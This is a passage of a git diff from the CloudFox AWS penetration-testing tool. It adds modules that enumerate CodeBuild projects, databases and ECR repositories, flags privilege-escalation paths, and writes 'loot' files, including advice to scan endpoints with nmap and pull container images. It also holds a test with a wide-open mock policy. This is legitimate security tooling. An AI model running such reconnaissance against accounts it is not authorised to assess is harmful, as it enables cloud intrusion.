for index, expectedStack := range subtest.expectedResult {
if expectedStack.Name != subtest.testModule.CFStacks[index].Name {
log.Fatal("Stack name does not match expected name")
}
if expectedStack.Role != subtest.testModule.CFStacks[index].Role {
log.Fatal("Stack role does not match expected name")
}
}
})
}
}
+252
View File
@@ -0,0 +1,252 @@
package aws
import (
"fmt"
"path/filepath"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type CodeBuildModule struct {
// General configuration data
CodeBuildClient sdk.CodeBuildClientInterface
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Main module data
Projects []Project
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Project struct {
Region string
Name string
Arn string
Role string
Admin string
CanPrivEsc string
}
func (m *CodeBuildModule) PrintCodeBuildProjects(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "codebuild"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating CodeBuild projects for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Project)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// Perform role analysis
if m.pmapperError == nil {
for i := range m.Projects {
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Projects[i].Role)
}
} else {
for i := range m.Projects {
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Projects[i].Role, m.iamSimClient, localAdminMap)
}
}
// add - if struct is not empty do this. otherwise, dont write anything.
if m.pmapperError == nil {
m.output.Headers = []string{
"Region",
"Name",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Region",
"Name",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
// Table rows
for i := range m.Projects {
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Projects[i].Region,
m.Projects[i].Name,
m.Projects[i].Role,
m.Projects[i].Admin,
m.Projects[i].CanPrivEsc,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Projects[i].Region,
m.Projects[i].Name,
m.Projects[i].Role,
m.Projects[i].Admin,
},
)
}
}
var seen []string
for _, project := range m.Projects {
if !internal.Contains(project.Name, seen) {
seen = append(seen, project.Name)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
//fmt.Printf("[%s][%s] %d projects with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d projects found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
} else {
fmt.Printf("[%s][%s] No projects found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("codebuild", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getcodeBuildProjectsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *CodeBuildModule) Receiver(receiver chan Project, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Projects = append(m.Projects, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *CodeBuildModule) getcodeBuildProjectsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
defer wg.Done()
semaphore <- struct{}{}
defer func() { <-semaphore }()
projects, err := sdk.CachedCodeBuildListProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
}
for _, project := range projects {
details, err := sdk.CachedCodeBuildBatchGetProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r, project)
if err != nil {
sharedLogger.Error(err.Error())
}
dataReceiver <- Project{
Name: aws.ToString(details.Name),
Region: r,
Role: aws.ToString(details.ServiceRole),
Admin: "",
CanPrivEsc: "",
}
}
}
+150
View File
@@ -0,0 +1,150 @@
package aws
import (
"context"
"fmt"
"path/filepath"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
"github.com/aws/aws-sdk-go-v2/service/codebuild/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
type mockedCodeBuildClient struct {
}
func (m *mockedCodeBuildClient) ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error) {
out := codebuild.ListProjectsOutput{
Projects: []string{"test1", "test2"},
}
return &out, nil
}
func (m *mockedCodeBuildClient) BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
project1out := codebuild.BatchGetProjectsOutput{
Projects: []types.Project{
{
Name: aws.String("test1"),
Environment: &types.ProjectEnvironment{
Image: aws.String("aws/codebuild/standard:4.0"),
},
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test1"),
Source: &types.ProjectSource{
Type: "CODECOMMIT",
Location: aws.String("https://git-codecommit.us-east-1.amazonaws.com/v1/repos/test1"),
},
Artifacts: &types.ProjectArtifacts{
Type: "S3",
Location: aws.String("s3://test1"),
},
TimeoutInMinutes: aws.Int32(60),
},
},
}
project2out := codebuild.BatchGetProjectsOutput{
Projects: []types.Project{
{
Name: aws.String("test2"),
Environment: &types.ProjectEnvironment{
Image: aws.String("aws/codebuild/standard:4.0"),
},
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test2"),
Source: &types.ProjectSource{
Type: "GITHUB",
Location: aws.String("https://test.github.com/test2"),
},
Artifacts: &types.ProjectArtifacts{
Type: "S3",
Location: aws.String("s3://test2"),
},
TimeoutInMinutes: aws.Int32(60),
},
},
}
if params.Names[0] == "test1" {
return &project1out, nil
} else if params.Names[0] == "test2" {
return &project2out, nil
} else {
return nil, nil
}
}
func (m *mockedCodeBuildClient) GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
out := codebuild.GetResourcePolicyOutput{
Policy: aws.String(`{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"codebuild:StartBuild",
"codebuild:BatchGetBuilds",
"codebuild:StopBuild",
"codebuild:ListProjects",
"codebuild:BatchGetProjects"
],
"Resource": "*"
}
]
}`),
}
return &out, nil
}
func TestCodeBuildProjects(t *testing.T) {
m := CodeBuildModule{
CodeBuildClient: &mockedCodeBuildClient{},
AWSProfile: "unittesting",
AWSRegions: []string{"us-west-1"},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/Alice"),
Account: aws.String("123456789012"),
},
Goroutines: 3,
WrapTable: true,
SkipAdminCheck: true,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
// execute the module with verbosity set to 2
m.PrintCodeBuildProjects("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/codebuild.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭───────────┬───────┬──────────────────────────────────────┬──────────────╮
│ Region │ Name │ Role │ IsAdminRole? │
├───────────┼───────┼──────────────────────────────────────┼──────────────┤
│ us-west-1 │ test1 │ arn:aws:iam::123456789012:role/test1 │ Skipped │
│ us-west-1 │ test2 │ arn:aws:iam::123456789012:role/test2 │ Skipped │
╰───────────┴───────┴──────────────────────────────────────┴──────────────╯
`, "\n")
fmt.Println(expectedResults)
fmt.Println("results file")
fmt.Println(string(resultsFile))
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
+451
View File
@@ -0,0 +1,451 @@
package aws
import (
"errors"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type DatabasesModule struct {
RDSClient sdk.RDSClientInterface
RedshiftClient sdk.RedShiftClientInterface
DynamoDBClient sdk.DynamoDBClientInterface
DocDBClient sdk.DocDBClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
Databases []Database
CommandCounter internal.CommandCounter
Errors []string
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Database struct {
AWSService string
Region string
Engine string
Name string
Arn string
UserName string
Endpoint string
Port int32
Protocol string
Public string
Size string
}
func (m *DatabasesModule) PrintDatabases(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "databases"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating databases for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: RDS, DynamoDB\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Database)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
//execute regional checks
for _, region := range m.AWSRegions {
wg.Add(1)
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
sort.Slice(m.Databases, func(i, j int) bool {
return m.Databases[i].AWSService < m.Databases[j].AWSService
})
m.output.Headers = []string{
"Service",
"Engine",
"Region",
"Name",
"Size",
"UserName",
"Endpoint",
//"Port",
//"Protocol",
//"Public",
}
// Table rows
for i := range m.Databases {
m.output.Body = append(
m.output.Body,
[]string{
m.Databases[i].AWSService,
m.Databases[i].Engine,
m.Databases[i].Region,
m.Databases[i].Name,
m.Databases[i].Size,
m.Databases[i].UserName,
m.Databases[i].Endpoint,
// strconv.Itoa(int(m.Databases[i].Port)),
// m.Databases[i].Protocol,
// m.Databases[i].Public,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s databases found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No databases found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Databases = append(m.Databases, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("rds", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getRdsClustersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("redshift", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getRedshiftDatabasesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("dynamodb", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getDynamoDBTablesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("docdb", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getDocDBTablesPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
panic(err.Error())
}
f := filepath.Join(path, "databases-UrlsOnly.txt")
var out string
for _, database := range m.Databases {
out = out + fmt.Sprintln(database.Endpoint)
}
err = os.WriteFile(f, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
panic(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Feed this databases into nmap and something like gowitness/aquatone for screenshots."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
}
func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
m.CommandCounter.Pending--
m.CommandCounter.Executing++
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
var public string
for _, instance := range DBInstances {
if instance.Endpoint != nil {
name := aws.ToString(instance.DBInstanceIdentifier)
port := instance.Endpoint.Port
endpoint := aws.ToString(instance.Endpoint.Address)
engine := aws.ToString(instance.Engine)
if instance.PubliclyAccessible {
public = "True"
} else {
public = "False"
}
dataReceiver <- Database{
AWSService: "RDS",
Region: r,
Name: name,
Engine: engine,
Endpoint: endpoint,
UserName: aws.ToString(instance.MasterUsername),
Port: port,
Protocol: aws.ToString(instance.Engine),
Public: public,
}
}
}
}
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "Redshift"
protocol := "https"
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
var public string
for _, cluster := range Clusters {
name := aws.ToString(cluster.DBName)
//id := workspace.Id
endpoint := aws.ToString(cluster.Endpoint.Address)
if cluster.PubliclyAccessible {
public = "True"
} else {
public = "False"
}
port := cluster.Endpoint.Port
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: name,
Endpoint: endpoint,
Port: port,
Protocol: protocol,
Public: public,
}
}
}
func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "DynamoDB"
Tables, err := sdk.CachedDynamoDBListTables(m.DynamoDBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, table := range Tables {
//get size of dynamodb table
TableOutput, err := sdk.CachedDynamoDBDescribeTable(m.DynamoDBClient, aws.ToString(m.Caller.Account), r, table)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
size := aws.ToInt64(TableOutput.TableSizeBytes)
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: table,
Size: strconv.Itoa(int(size)),
UserName: "N/A",
Endpoint: "N/A",
}
}
}
func (m *DatabasesModule) getDocDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "DocDB"
Clusters, err := sdk.CachedDocDBDescribeDBClusters(m.DocDBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, cluster := range Clusters {
name := aws.ToString(cluster.DBClusterIdentifier)
endpoint := aws.ToString(cluster.Endpoint)
port := aws.ToInt32(cluster.Port)
//size := aws.ToInt64(TableOutput.Table.TableSizeBytes)
userName := aws.ToString(cluster.MasterUsername)
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: name,
Endpoint: endpoint,
Port: port,
UserName: userName,
//Size: strconv.Itoa(int(size)),
}
}
}
+150 -123
View File
@@ -1,7 +1,6 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
@@ -10,30 +9,31 @@ import (
"strings"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ecr"
"github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type ECRModule struct {
// General configuration data
ECRClient *ecr.Client
ECRClient sdk.AWSECRClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Repositories []Repository
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -45,6 +45,8 @@ type Repository struct {
PushedAt string
ImageTags string
ImageSize int64
Policy policy.Policy
PolicyJSON string
}
func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbosity int) {
@@ -52,14 +54,14 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "ecr"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating container repositories for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating container repositories for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -67,13 +69,14 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Repository)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
@@ -84,10 +87,11 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -119,23 +123,49 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s] %s repositories found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s repositories found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No repositories found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No repositories found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
defer wg.Done()
m.CommandCounter.Total++
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ecr", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *ECRModule) Receiver(receiver chan Repository, receiverDone chan bool) {
@@ -186,14 +216,14 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("Use the commands below to authenticate to ECR and download the images that look interesting"))
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("You will need the ecr:GetAuthorizationToken on the registry to authenticate and this is not part of the SecurityAudit permissions policy"))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to authenticate to ECR and download the images that look interesting"))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("You will need the ecr:GetAuthorizationToken on the registry to authenticate and this is not part of the SecurityAudit permissions policy"))
fmt.Print(out)
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), pullFile)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
@@ -208,107 +238,104 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
defer func() {
<-semaphore
}()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var PaginationControl2 *string
for {
DescribeRepositories, err := m.ECRClient.DescribeRepositories(
context.TODO(),
&ecr.DescribeRepositoriesInput{
NextToken: PaginationControl,
},
